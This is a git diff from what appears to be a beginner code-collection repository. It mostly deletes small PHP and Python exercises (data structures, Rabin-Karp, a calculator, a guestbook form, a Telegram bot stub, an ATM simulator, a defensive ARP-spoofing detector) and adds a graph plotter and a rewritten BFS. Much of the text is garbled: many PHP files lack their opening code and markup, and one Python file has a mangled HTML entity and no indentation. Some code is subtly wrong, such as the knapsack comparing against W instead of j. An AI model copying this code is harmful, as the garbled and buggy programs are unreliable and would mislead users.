OrderDate='2008-11-11' - --- SQL Views - CREATE VIEW view_name AS - SELECT column1, column2, ... - FROM table_name - WHERE condition; - - CREATE VIEW [Brazil Customers] AS - SELECT CustomerName, ContactName - FROM Customers - WHERE Country = 'Brazil'; - - -- DROP VIEW view_name; - DROP VIEW [Brazil Customers]; - - - - - - - - diff --git a/Add Code Here/PHP/Data structures/Queue.php b/Add Code Here/PHP/Data structures/Queue.php deleted file mode 100644 index ea4567864fc..00000000000 --- a/Add Code Here/PHP/Data structures/Queue.php +++ /dev/null @@ -1,15 +0,0 @@ -push(4); -$q->add(4, 5); - -$q->rewind(); -while ($q->valid()) { - echo "Value at index:" . $q->key() . " is " . $q->current(), "
"; - $q->next(); -} diff --git a/Add Code Here/PHP/Data structures/Readme.md b/Add Code Here/PHP/Data structures/Readme.md deleted file mode 100644 index b4d06252b3e..00000000000 --- a/Add Code Here/PHP/Data structures/Readme.md +++ /dev/null @@ -1,4 +0,0 @@ -# SPL -The Standard PHP Library (SPL) is a collection of interfaces and classes that are meant to solve common problems. - ->It provides structures like DoubleLinkedList, Stack, Queue diff --git a/Add Code Here/PHP/Data structures/doublyLinkedList.php b/Add Code Here/PHP/Data structures/doublyLinkedList.php deleted file mode 100644 index 61ae52633cb..00000000000 --- a/Add Code Here/PHP/Data structures/doublyLinkedList.php +++ /dev/null @@ -1,36 +0,0 @@ -push('php'); -$dlist->push('doubly'); -$dlist->push('linkedList'); - -// Displaying the list -echo "Original List : "; -for ($dlist->rewind(); $dlist->valid(); $dlist->next()) { - echo $dlist->current()." "; -} - -// Deleting element from the end of the list -$dlist->pop(); - -// Adding a new element at specific index -// Add 'code' at index 2 -$dlist->add(2, "code"); - -// Displaying the updated list -echo "\n
Updated List : "; -for ($dlist->rewind(); $dlist->valid(); $dlist->next()) { - echo $dlist->current()." "; -} - -// Printing the count of nodes -echo "\n
Total nodes = " . $dlist->count() . "
"; - -// Printing the node at top of the list -echo "Top node = ". $dlist->top() . "
"; - -// Printing the node at bottom of the list -echo "Bottom node = " . $dlist->bottom() . "\n"; diff --git a/Add Code Here/PHP/Data structures/heap.php b/Add Code Here/PHP/Data structures/heap.php deleted file mode 100644 index b0f2aaee5d9..00000000000 --- a/Add Code Here/PHP/Data structures/heap.php +++ /dev/null @@ -1,41 +0,0 @@ -insert(array ('Even' => 0)); -$heap->insert(array ('Odd' => 1)); -$heap->insert(array ('Even' => 2)); -$heap->insert(array ('Odd' => 3)); -$heap->insert(array ('Even' => 4)); -$heap->insert(array ('Odd' => 5)); -$heap->insert(array ('Even' => 6)); -$heap->insert(array ('Odd' => 7)); -$heap->insert(array ('Even' => 8)); -$heap->insert(array ('Odd' => 9)); - -$heap->rewind(); - -// Then we iterate through each node for displaying the result -while ($heap->valid()) { - list ($numberSystem, $value) = each ($heap->current()); - echo $numberSystem . ': ' . $value . "
"; - $heap->next(); -} -?> diff --git a/Add Code Here/PHP/Data structures/stack.php b/Add Code Here/PHP/Data structures/stack.php deleted file mode 100644 index 892f60058d7..00000000000 --- a/Add Code Here/PHP/Data structures/stack.php +++ /dev/null @@ -1,15 +0,0 @@ -push(4); -$q->add(4, 5); - -$q->rewind(); -while ($q->valid()) { - echo "Value at index:".$q->key()." is ".$q->current(), "
"; - $q->next(); -} diff --git a/Add Code Here/PHP/Leave a message b/Add Code Here/PHP/Leave a message deleted file mode 100644 index bd456666a75..00000000000 --- a/Add Code Here/PHP/Leave a message +++ /dev/null @@ -1,50 +0,0 @@ - -
Leave A Message
- 21) { - $error = 'Error! Check the lenght of your name.'; } - if (preg_match('/[^\da-z\-\@\*\(\)\?\!\~\_\=\[\]]+/', $lat_nick)) { - $error = 'Error! Text symbols not allowed on your name.'; -} -if (empty($subject)) { - $error = 'Error! Subject is empty.'; } - elseif (mb_strlen($subject) < 3 || mb_strlen($subject) > 20) { - $error = 'Error! Check the lenght of your subject.'; } - if (preg_match('/[^\da-z\-\@\*\(\)\?\!\~\_\=\[\]]+/', $lat_nick)) { - $error = 'Error! Wrong symbols not allowed on your subject.'; -} - if (empty($message)) { - $error = 'Error! Message is empty.'; } - elseif (mb_strlen($message) < 2 || mb_strlen($message) > 21) { - $error = 'Error! Check the lenght of your message'; -} - -if($error): -?> -

Warning!

-
- -

Sent Successfully!

Your message on has been delivered.
-

-

Name

-
-

Subject

-
-

Message

-
-

- diff --git a/Add Code Here/PHP/RabinKarp.php b/Add Code Here/PHP/RabinKarp.php deleted file mode 100644 index a77be6081d6..00000000000 --- a/Add Code Here/PHP/RabinKarp.php +++ /dev/null @@ -1,95 +0,0 @@ - pattern -txt -> text -q -> A prime number -*/ -function search($pat, $txt, $q) -{ - $M = strlen($pat); - $N = strlen($txt); - $i; $j; - $p = 0; // hash value - // for pattern - $t = 0; // hash value - // for txt - $h = 1; - $d =1; - - // The value of h would - // be "pow(d, M-1)%q" - for ($i = 0; $i < $M - 1; $i++) - $h = ($h * $d) % $q; - - // Calculate the hash value - // of pattern and first - // window of text - for ($i = 0; $i < $M; $i++) - { - $p = ($d * $p + $pat[$i]) % $q; - $t = ($d * $t + $txt[$i]) % $q; - } - - // Slide the pattern over - // text one by one - for ($i = 0; $i <= $N - $M; $i++) - { - - // Check the hash values of - // current window of text - // and pattern. If the hash - // values match then only - // check for characters on - // by one - if ($p == $t) - { - // Check for characters - // one by one - for ($j = 0; $j < $M; $j++) - { - if ($txt[$i + $j] != $pat[$j]) - break; - } - - // if p == t and pat[0...M-1] = - // txt[i, i+1, ...i+M-1] - if ($j == $M) - echo "Pattern found at index ", - $i, "\n"; - } - - // Calculate hash value for - // next window of text: - // Remove leading digit, - // add trailing digit - if ($i < $N - $M) - { - $t = ($d * ($t - $txt[$i] * - $h) + $txt[$i + - $M]) % $q; - - // We might get negative - // value of t, converting - // it to positive - if ($t < 0) - $t = ($t + $q); - } - } -} - -// Driver Code -$txt = "AIR N AIR"; -$pat = "AIR"; -$q = 101; // A prime number -search($pat, $txt, $q); - -// This code is contributed -// by ajit -?> diff --git a/Add Code Here/PHP/armstrong.php b/Add Code Here/PHP/armstrong.php deleted file mode 100644 index 3a0150ddc4e..00000000000 --- a/Add Code Here/PHP/armstrong.php +++ /dev/null @@ -1,14 +0,0 @@ - - - - - - - - - - - - Calculator - - - - - - - - - - - -
-
-

Simple Calculator

-
-First Number: -
-Second Number: -
- - - - -
-
Result:
-
-
- - diff --git a/Add Code Here/PHP/calc.php b/Add Code Here/PHP/calc.php deleted file mode 100644 index f005cb0f2ac..00000000000 --- a/Add Code Here/PHP/calc.php +++ /dev/null @@ -1,78 +0,0 @@ -a + $this->b; - break; - - case '-': - return $this->a - $this->b; - break; - - case '*': - return $this->a * $this->b; - break; - - case '/': - return $this->a / $this->b; - break; - - default: - return "Sorry No command found"; - } - } - function getresult($a, $b, $c) - { - $this->a = $a; - $this->b = $b; - return $this->checkopration($c); - } -} - -$cal = new calculator(); -if(isset($_POST['submit'])) -{ - $result = $cal->getresult($_POST['n1'],$_POST['n2'],$_POST['op']); -} -?> - -
- - - - - - - - - - - - - - - - - - - - - - - - -
Enter 1st Number
Enter 2nd Number
Select Oprator
-
\ No newline at end of file diff --git a/Add Code Here/PHP/ci_generate.php b/Add Code Here/PHP/ci_generate.php deleted file mode 100644 index 093b78dc5bc..00000000000 --- a/Add Code Here/PHP/ci_generate.php +++ /dev/null @@ -1,238 +0,0 @@ -load->library('form_validation'); - // \$this->load->model('m_".$name."'); - \$this->load->helper('url'); - \$this->load->helper('common_helper'); - // if (!\$this->session->userdata('is_login')) { - // redirect('login'); - // } - \$this->module = \$this->router->fetch_module(); - \$this->isi = ['header_custom' => \$this->module . '/v-header-custom', 'footer_custom' => \$this->module . '/v-footer-custom']; - } - function index() - { - \$data['page'] = 'monitoring'; - // \$this->isi['".$name."'] = \$this->m_".$name."->get_".$name."(); - \$this->isi['view_content'] = \$this->load->view('v-".$name."', '', TRUE); - // var_dump(\$this->isi['view_content']); - \$this->load->view('pages/v-main', \$this->isi); - } - } - ?>"; - - if ($controller) { - fwrite($controller, $controllerContent); - fclose($controller); - } else { - echo "failed"; - } - - echo "Controller created..\n"; - } else { - echo "Fail...\n"; - } - - if ($modelsLocation) { - $models = fopen($modelsLocation . "/Mdl" . ucfirst($name) . ".php", "w+"); - - $modelsContent = "" . $name . " "; - $customContent = " "; - - if ($vcontent) { - fwrite($vcontent, $viewContent); - fwrite($vheader, $customContent); - fwrite($vfooter, $customContent); - fclose($vcontent); - fclose($vheader); - fclose($vfooter); - } else { - echo "failed"; - } - echo "View created..\n"; - - echo "Finish ...\n"; - } else { - echo "Fail...\n"; - } - -} else { - // NAMA LEBIH DARI 1 KATA - - $name = $argv[1]; - $name2 = $argv[2]; - - echo "generate module... \n"; - $controllerLocation = "application/modules/" . ucfirst($name) . ucfirst($name2)."/controllers"; - $viewsLocation = "application/modules/" . ucfirst($name) . ucfirst($name2) . "/views"; - $modelsLocation = "application/models"; - - mkdir($controllerLocation, 0777, true); - mkdir($viewsLocation, 0777, true); - - if ($controllerLocation) { - - $controller = fopen($controllerLocation . "/" . ucfirst($name) . ucfirst($name2). ".php", "w+"); - $controllerContent = "load->library('form_validation'); - // \$this->load->model('m_".$nama.ucfirst($name2)."'); - \$this->load->helper('url'); - \$this->load->helper('common_helper'); - // if (!\$this->session->userdata('is_login')) { - // redirect('login'); - // } - \$this->module = \$this->router->fetch_module(); - \$this->isi = ['header_custom' => \$this->module . '/v-header-custom', 'footer_custom' => \$this->module . '/v-footer-custom']; - } - function index() - { - \$data['page'] = 'monitoring'; - // \$this->isi['".$nama.ucfirst($name2)."'] = \$this->m_".$nama.ucfirst($name2)."->get_".ucfirst($nama).ucfirst($name2)."(); - \$this->isi['view_content'] = \$this->load->view('v-" . $name . "-".$name2."', '', TRUE); - // var_dump(\$this->isi['view_content']); - \$this->load->view('pages/v-main', \$this->isi); - } - } - ?>"; - - if ($controller) { - fwrite($controller, $controllerContent); - fclose($controller); - } else { - echo "failed"; - } - - echo "Controller created..\n"; - } else { - echo "Fail...\n"; - } - - if ($modelsLocation) { - $models = fopen($modelsLocation . "/Mdl" . ucfirst($name) . ucfirst($name2). ".php", "w+"); - - $modelsContent = "" . $name . $name2 . " "; - $customContent = " "; - - if ($vcontent) { - fwrite($vcontent, $viewContent); - fwrite($vheader, $customContent); - fwrite($vfooter, $customContent); - fclose($vcontent); - fclose($vheader); - fclose($vfooter); - } else { - echo "failed"; - } - echo "View created..\n"; - - echo "Finish ...\n"; - } else { - echo "Fail...\n"; - } - -} diff --git a/Add Code Here/PHP/dataValidator.php b/Add Code Here/PHP/dataValidator.php deleted file mode 100644 index fc5f897333a..00000000000 --- a/Add Code Here/PHP/dataValidator.php +++ /dev/null @@ -1,44 +0,0 @@ - \ No newline at end of file diff --git a/Add Code Here/PHP/fibonacci.php b/Add Code Here/PHP/fibonacci.php deleted file mode 100644 index 62c118ce3e1..00000000000 --- a/Add Code Here/PHP/fibonacci.php +++ /dev/null @@ -1,17 +0,0 @@ - diff --git a/Add Code Here/PHP/hcf.php b/Add Code Here/PHP/hcf.php deleted file mode 100644 index a88c20aafc9..00000000000 --- a/Add Code Here/PHP/hcf.php +++ /dev/null @@ -1,17 +0,0 @@ - $y) { - $temp = $x; - $x = $y; - $y = $temp; -} - -for($i = 1; $i < ($x+1); $i++) { - if ($x%$i == 0 and $y%$i == 0) - $hcf = $i; -} - -echo "HCF of $x and $y is: $hcf"; -?> \ No newline at end of file diff --git a/Add Code Here/PHP/is-leap-year.php b/Add Code Here/PHP/is-leap-year.php deleted file mode 100644 index 6bb4d985e4b..00000000000 --- a/Add Code Here/PHP/is-leap-year.php +++ /dev/null @@ -1,7 +0,0 @@ - 1) { - $rem = $num % 10; - $revNum = ($revNum * 10) + $rem; - $num = ($num / 10); -} -echo "Reversed: " . $revNum; -?> - - \ No newline at end of file diff --git a/Add Code Here/PHP/palindrome.php b/Add Code Here/PHP/palindrome.php deleted file mode 100644 index 47272e853e7..00000000000 --- a/Add Code Here/PHP/palindrome.php +++ /dev/null @@ -1,19 +0,0 @@ - - \ No newline at end of file diff --git a/Add Code Here/PHP/sumOrTriple.php b/Add Code Here/PHP/sumOrTriple.php deleted file mode 100644 index c35b59eed0d..00000000000 --- a/Add Code Here/PHP/sumOrTriple.php +++ /dev/null @@ -1,11 +0,0 @@ - diff --git a/Add Code Here/PHP/telegrambot.php b/Add Code Here/PHP/telegrambot.php deleted file mode 100644 index ffed3a263d2..00000000000 --- a/Add Code Here/PHP/telegrambot.php +++ /dev/null @@ -1,20 +0,0 @@ -"; #your token id - $string = - "Alert Request\n". - 'Name: testing' . "\n". - 'Date/Time: '.date('d-m-Y H:i') . "\n". - 'Message: testing uhuy'; #if your request is html create here - - $data = [ - 'chat_id' => '12343343434', #your group chat id - 'text' => $string, - 'parse_mode' => "html" - ]; #content request - $response = file_get_contents("https://api.telegram.org/bot$apiToken/sendMessage?" . http_build_query($data) ); #url request - - echo $response; - die(); -?> \ No newline at end of file diff --git a/Add Code Here/PHP/usefulfunctions.php b/Add Code Here/PHP/usefulfunctions.php deleted file mode 100644 index 4ca05abdd10..00000000000 --- a/Add Code Here/PHP/usefulfunctions.php +++ /dev/null @@ -1,31 +0,0 @@ - int: - dic = {} - dic2 = {} - count = 0 - for s in words: - if s[0] == s[1]: - dic2.setdefault(s, 0) - dic2[s] += 1 - else: - dic.setdefault(s, 0) - dic[s] += 1 - temp = s[1]+s[0] - if temp in dic.keys() and dic[temp] > 0: - dic[temp] -= 1 - dic[s] -= 1 - count += 4 - inc = False - for k, v in dic2.items(): - if v % 2 == 0: - count += v*2 - else: - count += (v-1)*2 - inc = True - if inc: - count += 2 - return count diff --git a/Add Code Here/PYTHON/2Dgraphplotter.py b/Add Code Here/PYTHON/2Dgraphplotter.py new file mode 100644 index 00000000000..b01afe705b2 --- /dev/null +++ b/Add Code Here/PYTHON/2Dgraphplotter.py @@ -0,0 +1,59 @@ +import matplotlib.pyplot as plt +from tkinter import Tk, Entry, Label, Button + +class GraphPlotter: + def __init__(self, master): + self.master = master + master.title("Graph Plotter") + master.geometry("500x400") # Set the dimensions of the window + + # Font size for labels and entries + font_size = 14 + + self.x_coordinates = [] + self.y_coordinates = [] + + self.x_label = Label(master, text="Enter x-coordinate:", font=("Arial", font_size)) + self.x_label.pack() + + self.x_entry = Entry(master, font=("Arial", font_size)) + self.x_entry.pack() + + self.y_label = Label(master, text="Enter y-coordinate:", font=("Arial", font_size)) + self.y_label.pack() + + self.y_entry = Entry(master, font=("Arial", font_size)) + self.y_entry.pack() + + self.plot_button = Button(master, text="Plot", command=self.plot_graph, font=("Arial", font_size)) + self.plot_button.pack() + + self.quit_button = Button(master, text="Quit", command=master.quit, font=("Arial", font_size)) + self.quit_button.pack() + + def plot_graph(self): + x_input = self.x_entry.get() + y_input = self.y_entry.get() + + try: + x_value = float(x_input) + y_value = float(y_input) + self.x_coordinates.append(x_value) + self.y_coordinates.append(y_value) + + self.x_entry.delete(0, 'end') + self.y_entry.delete(0, 'end') + except ValueError: + print("Invalid input. Please enter valid numbers.") + + plt.plot(self.x_coordinates, self.y_coordinates, marker='o') + plt.xlabel('X-axis', fontsize=14) + plt.ylabel('Y-axis', fontsize=14) + plt.title('Graph Plot', fontsize=16) + plt.grid(True) + plt.show() + +if __name__ == '__main__': + root = Tk() + graph_plotter = GraphPlotter(root) + root.mainloop() diff --git a/Add Code Here/PYTHON/3)knapsack_dp.py b/Add Code Here/PYTHON/3)knapsack_dp.py deleted file mode 100644 index d1db7585839..00000000000 --- a/Add Code Here/PYTHON/3)knapsack_dp.py +++ /dev/null @@ -1,21 +0,0 @@ -def knapsack_dp(wt,val,W,n): - t=[[-1 for j in range(W+1)] for i in range(n+1)] - #Base Condition Initialization - for i in range(n+1): - for j in range(W+1): - if i==0 or j==0: - t[i][j] = 0 - #Recursive Case - for i in range(1,n+1): - for j in range(1,W+1): - if wt[i-1]<=W: - t[i][j] = max(val[i-1]+t[i-1][j-wt[i-1]],t[i-1][j]) - elif wt[i-1]>W: - t[i][j] = t[i-1][j] - return t[n][W] -W = 6 -wt = [1,2,3,6] -val = [1,2,4,6] -n=4 -knapsack_dp(wt,val,W,n) - diff --git a/Add Code Here/PYTHON/ARP_Attack_Defender.py b/Add Code Here/PYTHON/ARP_Attack_Defender.py deleted file mode 100644 index 187e354a54c..00000000000 --- a/Add Code Here/PYTHON/ARP_Attack_Defender.py +++ /dev/null @@ -1,164 +0,0 @@ -import os,sys, subprocess -from time import sleep, time - -RED, GREEN, BLUE, YELLOW, WHITE, END= '\033[1;31m', '\033[1;32m', '\033[1;34m', '\033[1;33m', '\033[1;37m', '\033[0m' -spaces = " " * 76 # Only for styling -threshold = 12 -mac_dict = {} -time_dict = {} - -#Checking for root privilleges -try: - if os.getuid() != 0: - print("\n{}[-]{}ERROR: ARPSHIELD requires root privillege to run{}".format(YELLOW,RED,GREEN)) - os._exit(1) -except: - # Its a windows system - print("\n{}[-]{}ERROR: ARPSHIELD Cannot run on Windows.{}".format(YELLOW,RED,GREEN)) - sleep(1.5) - os._exit(1) - -# Check if the dependancy requirements are met. -try: - from scapy.all import sniff - import netifaces -except: - print("{}[-]{}Dependency requirements not met".format(YELLOW,RED)) - print("{}[-]{}Exiting Now...".format(YELLOW,RED)) - sleep(0.7) - sys.exit() - -# Logo and credits -sys.stdout.write(GREEN + spaces + """ - ▄▄▄ ▄▄▄ ▄▄▄ ▄▄▄ ▄▄▄▄▄ ▄ ▄▄▄▄ ▄▄▄ ▄▄▄ - █ . █ █ . \ █ . █ █ ▄▄█ █ █ █ █ █ ▄▄ █ █ █ ▄ █ - █ █ █ / █ ▄█ █▄▄ █ █ █ █ █ ▄▄ █ █▄ █ █ █ - █▄█▄█ █▄\▄\ █▄█ █▄▄▄█ █▄█▄█ █ █▄▄▄ █▄▄▄█ █▄▄▄█ - """ + END + BLUE + - '\n' + '{}Protects you against ARP Spoof Attacks!{}'.format(RED,BLUE).center(98) + - '\n' + 'Made With <3 by: {0}Aslam Muhammed ({1}Ash-Shaun{2})'.format(YELLOW, RED, YELLOW).center(104) + -'\n' + 'Version: {}1.0{} \n'.format(YELLOW, END).center(98)) -# start main import statements - -from scapy.all import * -import netifaces - -# Selection on Interface (USER) -available_interface = netifaces.interfaces() -print("") -interface = input(r"{}[-]{}Please select the interface you wish to secure({}):".format(YELLOW,WHITE,available_interface)) -if interface not in available_interface: - print("{}[-]{}Interface {} not Available".format(YELLOW,RED,interface)) - exit() - - -def give_notification(txt, intf): - mac = "ARP Spoofing Attack Detected from {}.".format(intf) - if txt == "self": - subprocess.call(["notify-send", "-i", "dialog-warning", "ARP Spoofing Detected", "You are being attacked!. \n" + mac]) - elif txt == "network": - subprocess.call(["notify-send", "-i", "dialog-warning", "ARP Spoofing Detected", "Your network is being attacked!. \n" + mac]) - elif txt == "netcut": - subprocess.call(["notify-send", "-i", "dialog-warning", "ARP Attack Detected", "Your network is being attacked!. \n" + mac]) - - -# Get IP and MAC of Gateway -def getGateway(txt): - if txt == "ip": - try: - getGateway = sr1(IP(dst="1.1.1.1", ttl=0) / ICMP() / "XXXXXXXXXXX", verbose=False, timeout=2) - print("{}Gateway IP: {}".format(YELLOW,BLUE) , getGateway.src) - return getGateway.src - - except: - print("shit happened") - return ("192.168.38.2") - elif txt =="ip_of_selected_interface": - getGateway = sr1(IP(dst="1.1.1.1", ttl=0) / ICMP() / "XXXXXXXXXXX", verbose=False, timeout=2) - print("{}Your IP: {}".format(YELLOW,BLUE) , getGateway[IP].dst) - return getGateway[IP].dst - else: - try: - query = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=txt) - ans, _ = srp(query, timeout=2, verbose=0) - for _, rcv in ans: - return(rcv[Ether].src) - break - except: - print("Initialization Failed!") - - -mac_of_selected_interface = get_if_hwaddr(interface) -gatewayip = getGateway("ip") -gatewaymac = getGateway(gatewayip) -ip_of_selected_interface = getGateway("ip_of_selected_interface") - - -def check_for_spoof(source, dest, s_mac, gatewaymac, gatewayip): - print(source,"is at", s_mac) - # check for packets to router - if source == ip_of_selected_interface: - if s_mac == mac_of_selected_interface: - pass - else: - print("ARP attack on you.") - give_notification("self",s_mac) - - if (source == gatewayip and s_mac != gatewaymac) or (source != gatewayip and s_mac == gatewaymac): - print ("ARP attack on Gateway") - give_notification("network", s_mac) - -def check_for_spoof_attack(source, dest, s_mac, gatewaymac, gatewayip, d_mac): - # a = time.time() - # if d_mac == "00:00:00:00:00:00" or "ff:ff:ff:ff:ff:ff" or "FF:FF:FF:FF:FF:FF": - # if s_mac == '00:50:56:c0:00:08': - # pass - # elif s_mac not in mac_dict: - # mac_dict[s_mac] = 0 - # time_dict[s_mac] = a - # else: - # mac_dict[s_mac] +=1 - # b = time.time() - # print(mac_dict[s_mac]) - # if s_mac != '00:50:56:c0:00:08' and mac_dict[s_mac] > threshold: - # if (time_dict[s_mac] - b) > 30: - # # False alarm Maybe - # pass - # else: - # give_notification("netcut", s_mac) - if source == gatewayip and s_mac != gatewaymac: - print("ARP Attack Detected.") - give_notification("netcut", s_mac) - - -def process_packets(packet): - source = packet.psrc - dest = packet.pdst - operation = packet.op - s_mac = packet.hwsrc - d_mac = packet.hwdst - #print(source,dest,s_mac,operation) - - if operation == 2: - check_for_spoof(source,dest,s_mac,gatewaymac, gatewayip) - else: - check_for_spoof_attack(source, dest, s_mac, gatewaymac, gatewayip, d_mac) - - -print("{}Your MAC: {}".format(YELLOW,BLUE), mac_of_selected_interface) -print("{}[-]{}Menu:{}".format(YELLOW,GREEN,WHITE),"\n", "\t1. Start ARP SHIELD \n\t2. Exit") -choice = input("{}[-]{}Enter your choice :".format(YELLOW,WHITE)) - -if choice == '1': - os.system("clear") - print("{}[-]{}ARPSHIELD Started. Any output will be redirected to log file.".format(YELLOW,BLUE)) - sniff(filter="arp",prn=process_packets, store=0 ) -elif choice =='2': - print("{}[-]{}Exiting ARPSHIELD.").format(YELLOW,RED) - sleep(1.5) - print("{}Bye!".format(BLUE)) - sleep(1.6) - exit(101) -else: - print("{}[-]{}Invalid Choice".format(YELLOW,RED)) - exit(101) diff --git a/Add Code Here/PYTHON/AdditionOfTwoNumbs.py b/Add Code Here/PYTHON/AdditionOfTwoNumbs.py deleted file mode 100644 index e42c217d242..00000000000 --- a/Add Code Here/PYTHON/AdditionOfTwoNumbs.py +++ /dev/null @@ -1,3 +0,0 @@ -i = 2; -j = 13; -print(i+j); diff --git a/Add Code Here/PYTHON/Armstrong Number Program.py b/Add Code Here/PYTHON/Armstrong Number Program.py deleted file mode 100644 index 73d67f4169b..00000000000 --- a/Add Code Here/PYTHON/Armstrong Number Program.py +++ /dev/null @@ -1,15 +0,0 @@ - -# Python Program to identify that it is a Armstrong Number or not - -num = int(input('enter the nuber')) -s = 0 -temp = num -while temp &amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt; 0: -c = temp % 10 -s += c**3 -temp //= 10 -if s == num: -print('armstrong number') -else: -print('not an armstrong number') - diff --git a/Add Code Here/PYTHON/Armstrong number or not b/Add Code Here/PYTHON/Armstrong number or not deleted file mode 100644 index 33262d85f30..00000000000 --- a/Add Code Here/PYTHON/Armstrong number or not +++ /dev/null @@ -1,14 +0,0 @@ -num = int(input("Enter the number ")) - - -def armstrong(): - sum = 0 - temp = num - while temp > 0: - digit = temp % 10 - sum += digit ** 3 - temp //= 10 - if num == sum: - print("Number is armstrong") - else: - print("Number is not armstrong") diff --git a/Add Code Here/PYTHON/Atm-Machine/bank.py b/Add Code Here/PYTHON/Atm-Machine/bank.py deleted file mode 100644 index 61f3c3d1bec..00000000000 --- a/Add Code Here/PYTHON/Atm-Machine/bank.py +++ /dev/null @@ -1,36 +0,0 @@ -import random - -class Bank: - def __init__(self): - self.nama = "" - self.rekening = 0 - self.pin = 0 - self.saldo = 0 - - def buatAkun(self, nama, pin): - self.nama = nama - self.rekening = random.randint(11111111, 99999999) - self.saldo = 50000 - self.pin = pin - - return self.rekening - - def cekRekening(self, rekening): - return self.rekening == rekening - - def cekPin(self, pin): - return self.pin == pin - - def cekSaldo(self, rekening): - if self.cekRekening(rekening): - return self.saldo - - return False - - def kurangiSaldo(self, rekening, jumlah): - if self.cekRekening(rekening): - self.saldo -= jumlah - return self.saldo - - return 0 - diff --git a/Add Code Here/PYTHON/Atm-Machine/main.py b/Add Code Here/PYTHON/Atm-Machine/main.py deleted file mode 100644 index c8788a8e6cc..00000000000 --- a/Add Code Here/PYTHON/Atm-Machine/main.py +++ /dev/null @@ -1,71 +0,0 @@ -from bank import Bank - -bank = Bank() - -print("=======================> [ATM Machine] <===========================") -print("1. Create account") -print("2. Check balance") -print("3. Withdraw") - -while True: - userInput = int(input("Choose an option: ")) - - if userInput == 1: - nama = str(input("Enter your name: ")) - pin = int(input("Enter your pin: ")) - - if len(str(pin)) != 6: - print("Pin must be 6 digits") - pin = int(input("Enter your pin: ")) - continue - - rekening = bank.buatAkun(nama, pin) - print("Your account has been created:") - print(f"Nama : {nama}") - print(f"No. Rekening : {rekening}") - continue - elif userInput == 2: - rekening = int(input("Enter your account number: ")) - - if bank.cekRekening(rekening) == False: - print("Account number is not valid") - rekening = int(input("Enter your account number: ")) - continue - - pin = int(input("Enter your pin: ")) - - if bank.cekPin(pin) == False: - print("Pin is not valid") - pin = int(input("Enter your pin: ")) - continue - - saldo = bank.cekSaldo(rekening) - print("Your balance is: ", saldo) - continue - elif userInput == 3: - rekening = int(input("Enter your account number: ")) - - if bank.cekRekening(rekening) == False: - print("Account number is not valid") - rekening = int(input("Enter your account number: ")) - continue - - pin = int(input("Enter your pin: ")) - - if bank.cekPin(pin) == False: - print("Pin is not valid") - pin = int(input("Enter your pin: ")) - continue - - jumlah = int(input("Enter the amount you want to withdraw: ")) - saldo = bank.cekSaldo(rekening) - - if saldo < jumlah: - print("Your balance is not enough") - continue - - saldoAkhir = bank.kurangiSaldo(rekening, jumlah) - print(f"Your balance is: {saldoAkhir}") - continue - else: - print("Invalid option") diff --git a/Add Code Here/PYTHON/BFS.py b/Add Code Here/PYTHON/BFS.py index 970fb199e9e..3746fcb076e 100644 --- a/Add Code Here/PYTHON/BFS.py +++ b/Add Code Here/PYTHON/BFS.py @@ -1,20 +1,59 @@ -import collections +from collections import defaultdict -def bfs(graph, root): +class Graph: - visited, queue = set(), collections.deque([root]) - visited.add(root) + def __init__(self): - while queue: - vertex = queue.popleft() - print(str(vertex) + " ", end="") - for neighbour in graph[vertex]: - if neighbour not in visited: - visited.add(neighbour) - queue.append(neighbour) + # Default dictionary to store graph + self.graph = defaultdict(list) + # Function to add an edge to graph + def addEdge(self, u, v): + self.graph[u].append(v) + # Function to print a BFS of graph + def BFS(self, s): + + # Mark all the vertices as not visited + visited = [False] * (max(self.graph) + 1) + + # Create a queue for BFS + queue = [] + + # Mark the source node as + # visited and enqueue it + queue.append(s) + visited[s] = True + + while queue: + + # Dequeue a vertex from + # queue and print it + s = queue.pop(0) + print(s, end=" ") + + # Get all adjacent vertices of the + # dequeued vertex s. + # If an adjacent has not been visited, + # then mark it visited and enqueue it + for i in self.graph[s]: + if visited[i] == False: + queue.append(i) + visited[i] = True + + +# Driver code if __name__ == '__main__': - graph = {0: [1, 2], 1: [2], 2: [3,5], 3: [1, 2]} - print("Following is Breadth First Traversal: ") - bfs(graph, 0) + + # Create a graph + g = Graph() + g.addEdge(0, 1) + g.addEdge(0, 2) + g.addEdge(1, 2) + g.addEdge(2, 0) + g.addEdge(2, 3) + g.addEdge(3, 3) + + print("Following is Breadth First Traversal" + " (starting from vertex 2)") + g.BFS(2) diff --git a/Add Code Here/PYTHON/BMI_Calculator.py b/Add Code Here/PYTHON/BMI_Calculator.py deleted file mode 100644 index 9de9d87de37..00000000000 --- a/Add Code Here/PYTHON/BMI_Calculator.py +++ /dev/null @@ -1,19 +0,0 @@ -h=float(input("Enter your height in meters: ")) -w=float(input("Enter your Weight in Kg: ")) - -BMI=w/(h*h) -print("BMI Calculated is: ",BMI) - -if(BMI>0): - if(BMI<=16): - print("You are very underweight") - elif(BMI<=18.5): - print("You are underweight") - elif(BMI<=25): - print("Congrats! You are Healthy") - elif(BMI<=30): - print("You are overweight") - else: - print("You are very overweight") -else: - print("enter valid details") diff --git a/Add Code Here/PYTHON/Basic Pyhton Programs/add two matrix.txt b/Add Code Here/PYTHON/Basic Pyhton Programs/add two matrix.txt deleted file mode 100644 index 1d0fa15f612..00000000000 --- a/Add Code Here/PYTHON/Basic Pyhton Programs/add two matrix.txt +++ /dev/null @@ -1,22 +0,0 @@ -To add two matrices-: - -Ans-a = [[15,7,3], - [4 ,50,6], - [7 ,8,90]] - b = [[5,8,1], - [6,7,3], - [4,5,9]] -result = [[0,0,0], - [0,0,0], - [0,0,0]] - -for i in range(len(a)): - for j in range(len(a[0])): - result[i][j] = a[i][j] + b[i][j] -for c in result: - print(c) - -Output- -[17, 15, 4] -[10, 12, 9] -[11, 13, 18] diff --git a/Add Code Here/PYTHON/Basic Pyhton Programs/area of rectangle.txt b/Add Code Here/PYTHON/Basic Pyhton Programs/area of rectangle.txt deleted file mode 100644 index dd20e347fd0..00000000000 --- a/Add Code Here/PYTHON/Basic Pyhton Programs/area of rectangle.txt +++ /dev/null @@ -1,12 +0,0 @@ -Write a program to calculate area of rectangle-: - -Ans -w = float(input('Please Enter the Width of a Rectangle: ')) -h = float(input('Please Enter the Height of a Rectangle: ')) -Area = w * h -print("\n Area of a Rectangle is: %.2f" %Area) - -Output -Please Enter the Width of a Rectangle: 20 -Please Enter the Height of a Rectangle: 30 -Area of a Rectangle is: 600.00 \ No newline at end of file 